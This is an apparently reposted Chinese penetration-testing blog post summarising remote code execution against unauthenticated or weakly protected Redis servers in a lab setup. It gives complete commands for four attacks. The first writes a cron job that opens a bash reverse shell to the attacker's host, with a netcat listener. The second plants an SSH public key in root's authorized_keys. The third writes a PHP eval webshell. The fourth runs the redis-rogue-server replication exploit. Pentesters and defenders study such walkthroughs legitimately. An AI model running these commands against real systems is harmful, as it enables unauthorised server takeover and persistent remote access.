Redis进行RCE利用总结

news2024/11/27 9:44:19

https://www.cnblogs.com/loongten/p/15838580.html

0x00 简要说明

百度百科:Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

Redis因配置不当可导致攻击者直接获取到服务器的权限。

  • 利用条件:redis以root身份运行,未授权访问,弱口令或者口令泄露等

环境准备:

测试环境IP
Kali192.168.100.99
靶机(CentOS 7)192.168.100.101

0x01 CentOS 7安装Redis

# 安装gcc
[root@localhost ~]# yum install -y gcc

# 下载解压redis安装包
[root@localhost ~]# wget http://download.redis.io/releases/redis-5.0.0.tar.gz
[root@localhost ~]# tar xvf redis-5.0.0.tar.gz

# 编译并执行安装,指定安装目录为/usr/local/redis
[root@localhost ~]# cd redis-5.0.0/
[root@localhost redis-5.0.0]#  make && make install PREFIX=/usr/local/redis

# 启动redis服务并保持后台运行
[root@localhost redis-5.0.0]#  cd /usr/local/redis/bin/
[root@localhost bin]# ./redis-server &

# 关闭保护模式
[root@localhost bin]# ./redis-cli 
127.0.0.1:6379> config set protected-mode no

0x02 通过计划任务反弹shell

利用条件:

  • redis以root身份运行
  • 未授权访问或授权口令已知

在kali中通过redis-cli -h 192.168.100.101 -p 6379连接到redis,输入以下指令利用crontab反弹shell

# cron表达式格式:{秒数} {分钟} {小时} {日期} {月份} {星期} {年份(可为空)} 命令
# 每分钟执行一次echo "haha":* * * * * echo "haha"
192.168.100.101:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.100.99/4444 0>&1\n"

# 设置目录为/var/spool/cron/
192.168.100.101:6379> config set dir /var/spool/cron/

# 设置文件名为root
192.168.100.101:6379> config set dbfilename root

# 保存快照到本地
192.168.100.101:6379> save

kali中打开一个新的命令行窗口执行nc -lvnp 4444进行监听,过一会儿就能接收到反弹回来的shell:

由于redis的压缩储存机制,在某些情况下会因为反弹shell的指令被压缩,从而导致反弹shell失败:

192.168.100.101:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.100.100/4444 0>&1\n"
192.168.100.101:6379> save

[root@localhost ~]# cat /var/spool/cron/root

  • �bash -i &> /dev/tcp/192.168.100@/4 0>&1

192.168.100.101:6379> set x “\n* * * * * bash -i >& /dev/tcp/192.168.100.99/4444 0>&1\n”
192.168.100.101:6379> save

[root@localhost ~]# cat /var/spool/cron/root

          • bash -i &> /dev/tcp/192.168.100.99/4444 0>&1

当运行redis的用户为普通用户时,会无法出现切换目录失败的情况:

config set dir /var/spool/cron
(error) ERR Changing directory: Permission denied

0x03 通过SSH公钥远程连接

利用条件:

  • redis以root身份运行
  • 未授权访问或授权口令已知
  • 服务器开放SSH服务且允许密钥登录

在kali中使用ssh-keygen -t rsa生成密钥:

将生成的公钥文件保存到本地:

┌──(root💀kali)-[/home/kali]
└─# (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > kali

将文件写入redis进行利用:

# 将上一步生成的kali文件写入redis并设置键的值为kali
┌──(root💀kali)-[/home/kali]
└─# cat kali | redis-cli -h 192.168.100.101 -p 6379 -x set kali

# 连接redis,并将公钥文件写入/root/.ssh/authorized_keys中
┌──(root💀kali)-[/home/kali]
└─# redis-cli -h 192.168.100.101 -p 6379
192.168.100.101:6379> config set dir /root/.ssh/
192.168.100.101:6379> config set dbfilename authorized_keys
192.168.100.101:6379> save

# 使用密钥进行登录
┌──(root💀kali)-[/home/kali]
└─# ssh -i /root/.ssh/id_rsa root@192.168.100.101

0x04 通过文件写入获取webshell

利用条件:

  • 未授权访问或授权口令已知
  • 服务器开着WEB服务且WEB目录路径已知

倘若服务器运行着LAMP/LNMP服务,且已知工作目录为/var/www/html/,可通过以下指令写入webshell,或参考写入SSH公钥的过程写入木马文件:

config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php @eval($_POST['test']);?>"
save

0x05 通过主从复制获取shell

利用条件:

  • 未授权访问或授权口令已知
  • Redis <=5.0.5

参考地址:https://github.com/n0b0dyCN/redis-rogue-server

使用方法:

python3 redis-rogue-server.py --rhost <target address> --rport <target port> --lhost <vps address> --lport <vps port>

参数说明:

  • --rpasswd 如果目标Redis服务开启了认证功能,可以通过该选项指定密码
  • --rhost 目标redis服务IP
  • --rport 目标redis服务端口,默认为6379
  • --lhost vps的IP地址
  • --lport vps的端口,默认为21000
┌──(root💀kali)-[/home/kali]
└─# git clone https://github.com/n0b0dyCN/redis-rogue-server.git

┌──(root💀kali)-[/home/kali]
└─# cd redis-rogue-server

┌──(root💀kali)-[/home/kali]
└─# python3 redis-rogue-server.py --rhost 192.168.100.101 --lhost 192.168.100.99


__EOF__

  • 本文作者: Loongten
  • 本文链接: https://www.cnblogs.com/loongten/p/15838580.html
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。
分类: 渗透测试, 漏洞复现
标签: 渗透测试
<div id="blog_post_info">
好文要顶推荐该文
关注我 关注博主 关注博主 收藏该文 收藏本文 分享微博 分享微信
Loongten
粉丝 - 0 关注 - 0
0
0
<div class="clear"></div>
<div id="post_next_prev">

<a href="https://www.cnblogs.com/loongten/p/15822195.html" class="p_n_p_prefix">« </a> 上一篇:    <a href="https://www.cnblogs.com/loongten/p/15822195.html" data-featured-image="" title="发布于 2022-01-19 14:35">CVE-2021-44228——Log4j2-RCE漏洞复现</a>
<br>
<a href="https://www.cnblogs.com/loongten/p/15846147.html" class="p_n_p_prefix">» </a> 下一篇:    <a href="https://www.cnblogs.com/loongten/p/15846147.html" data-featured-image="" title="发布于 2022-01-26 13:00">Vulnhub DC-1靶场学习笔记</a>
posted @ 2022-01-24 10:55  Loongten  阅读( 567)  评论( 0)  编辑  收藏  举报

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/4019.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

什么才是好代码?

定义代码质量高低&#xff0c;本来就是主观的&#xff0c;更多的是出于判断。为了做出更客观的评判&#xff0c;我个人 认为有益的做法是后退一步&#xff0c;考虑一下编写代码时真正试图实现的目标。在我看来&#xff0c;帮助我实现这些目标的代码就是高质量的&#xff0c;而产…

ECMAScript 6 语法 1 —— 块作用域构造let 和 const

Javascript 的作用域存在的两种情况 情况一&#xff1a;函数内部 function enterYourChoice(flag){// var有变量提升的作用&#xff0c;相当于在此处写了一个 let choice;if(flag){var choice "yes";}else {console.log(choice); // undefined 并没有报错哦&#…

基于arx模型的MPC预测控制器simulink建模与仿真实现

目录 一、理论基础 二、核心程序 三、测试结果 一、理论基础 MPC的优点 模型预测控制善于处理多输入多输出系统 对于MIMO系统&#xff0c;PID需要为每个子系统单独设计PID控制器&#xff0c;由于存在耦合对于较大的系统难以实现 1.MPC控制器可以较好控制MIMO系统 2…

查题校园公众号题库系统

查题校园公众号题库系统 本平台优点&#xff1a; 多题库查题、独立后台、响应速度快、全网平台可查、功能最全&#xff01; 1.想要给自己的公众号获得查题接口&#xff0c;只需要两步&#xff01; 2.题库&#xff1a; 查题校园题库&#xff1a;查题校园题库后台&#xff08;…

深度学习入门(二十五)卷积神经网络——多输入多输出通道

深度学习入门&#xff08;二十五&#xff09;卷积神经网络——多输入多输出通道前言卷积神经网络——填充和步幅课件多个输入通道多个输出通道多个输入和输出通道11卷积层二维卷积层总结教材1 多输入通道2 多输出通道3 11卷积层4 小结前言 核心内容来自博客链接1博客连接2希望…

【Linux】腾讯云服务器Linux环境搭载

作者&#xff1a;一个喜欢猫咪的的程序员 专栏&#xff1a;《Linux》 喜欢的话&#xff1a;世间因为少年的挺身而出&#xff0c;而更加瑰丽。 ——《人民日报》 目录 Linux介绍&#xff1a; 我们本篇博客以腾讯云的Linux系统搭载为例&#xf…

SSM详解6:请求转发和请求重定向的区别

1、定义不同 请求转发&#xff08;forward&#xff09;&#xff1a; 是发生在服务器内部程序&#xff0c;当服务端程序收到一个请求&#xff0c;会将该请求转发给另一个服务端&#xff08;目的地址&#xff09;&#xff0c;再将目的地址的响应返回给客户端。而客户端对该过程…

前端如何锁定项目的node和pnpm版本

前端如何锁定项目的node和pnpm版本背景如何锁定Node版本的管理背景 项目组成员Node.js、npm、yarn、pnpm等版本不统一。造成编译出错&#xff0c;开发不方便&#xff0c;工作效率低下等问题。 如何锁定 通过修改package.json&#xff0c;指定engines字段&#xff0c;锁定前端所…

初始C++(一)---命名空间、输入输出、缺省参数

目录 1.命名空间 定义命名空间 using 指令 命名空间的嵌套 2、C输入输出 标准输出流&#xff08;cout&#xff09; 标准输入流&#xff08;cin&#xff09; 3.缺省参数 1.命名空间 定义命名空间 假设这样一种情况&#xff0c;当一个班上有两个名叫张三 的学生时&…

零基础入门网络安全,收藏这篇不迷茫【2022最新】

前言 最近收到不少关注朋友的私信和留言&#xff0c;大多数都是零基础小友入门网络安全。其实看过的铁粉都知道&#xff0c;之前的文里是有过推荐过的。新来的小友可能不太清楚&#xff0c;这里就系统地叙述一遍。 01.简单了解一下网络安全 说白了&#xff0c;网络安全就是指…

网络面试-ox07http中的keep-alive以及长/短连接

非Keep-Alive: 早起HTTP1.0, 浏览器发起http请求需要与服务器建立新的TCP连接&#xff0c;请求处理后连接立即关闭。 缺点&#xff1a;每个这样的连接&#xff0c;客户端与服务器都要分配TCP的缓冲区和变量&#xff0c;这给服务器带来严重的负担。 Keep-Alive: 默认持久连接&am…

成为Linux大神——必须要具备的基本技能!

要努力&#xff0c;但不要着急&#xff0c;繁花锦簇&#xff0c;硕果累累&#xff0c;都需要过程&#xff01; 目录 1.Linux软件包管理器yum 2.Linux编辑器—vim的使用 2.1vim的基本概念&#xff1a; 2.2vim的基本操作&#xff1a; 2.3vim正常模式命令集&#xff1a; 2.4vim底行…

vue3 + ts: layout布局

一、理解&#xff1a;layout layout&#xff0c;语义&#xff1a;布局&#xff0c;设计&#xff0c;结合前端vue项目&#xff0c;我理解为这样的定义&#xff1a;页面级别的组件&#xff0c;框架级别的组件&#xff0c;基础布局组件&#xff0c;基础设计 关键词&#xff1a;组…

SEO外链专员,SEO专员,SEO编辑,每天工作量给他们怎么安排?

企业想要做好网站排名&#xff0c;想要让网站在搜索引擎中获得更高的曝光度&#xff0c;就需要对网站进行整体优化&#xff0c;而整体优化就包括站内优化&#xff0c;以及站外优化&#xff0c;只有这样才能让网站关键词获得的更多的排名&#xff0c;从而也就能够获得更多的流量…

堪称经典,一个非常适合初学者的机器学习实战案例

大家好&#xff0c;今天我给大家介绍一个非常适合新手的机器学习实战案例。 这是一个房价预测的案例&#xff0c;来源于 Kaggle 网站&#xff0c;是很多算法初学者的第一道竞赛题目。 该案例有着解机器学习问题的完整流程&#xff0c;包含EDA、特征工程、模型训练、模型融合等…

轻量级简约仪表板Dasherr

什么 Dasherr &#xff1f; 这是老苏在逛 reddit 时偶然发现的&#xff0c;作者刚发布&#xff0c;这是一款全新的轻量级仪表板。 官方目前没有提供 docker&#xff0c;但本身的安装方法并不复杂&#xff0c;只要将代码下载后&#xff0c;将 www 目录中的文件放入到 Web 服务器…

蓝桥杯入门即劝退(五)跑断腿的小蓝

九层之台&#xff0c;起于垒土&#xff0c;你我皆是垒土人✔ 愿我的文章对你有所帮助&#xff01; 欢迎关注点赞评论&#xff0c;共同学习&#xff0c;共同进步&#xff01; 一、题目&#xff08;填空题&#xff09; 小蓝每天都锻炼身体。 正常情况下&#xff0c;小蓝每天跑 …

阿里测试8年,从5K到40K,这178天的心酸只有我自己知道···

从事测试工作已8年有余了&#xff0c;今天想聊一下自己刚入门时和现在的今昔对比&#xff0c;虽然现在也没什么大成就&#xff0c;只能说笑谈一下自己的测试生涯。 技术栈的变化 刚开始是做的开发&#xff0c;也是做了好几年的开发&#xff0c;后面软件测试的风潮开始了&…

前端工程师的摸鱼日常(17)

声明&#xff1a;全文纯属个人想法&#xff0c;无论提到什么&#xff0c;都无贬低和抬高之意&#xff0c;也没有对当今直正者感到不满。如果有部分内容与我思想不一&#xff0c;或戳于谁之痛处&#xff0c;可以跳过浏览&#xff0c;就当我在讲故事或者笑话。如果内容侵犯到XXX的…

CH34X linux驱动安装,参考代码例程

想用USB转I2C工具调试个I2C接口芯片未果。 驱动安装参考下面内容&#xff1a; 1. 使用的系统环境 本文使用Ubuntu 20.04 LTS版本Linux系统为测试环境。 2. 使用到的工具软件介绍 Linux系统下编译CH365/CH367的驱动使用到的工具主要有gcc和make&#xff0c;版本如下所示&…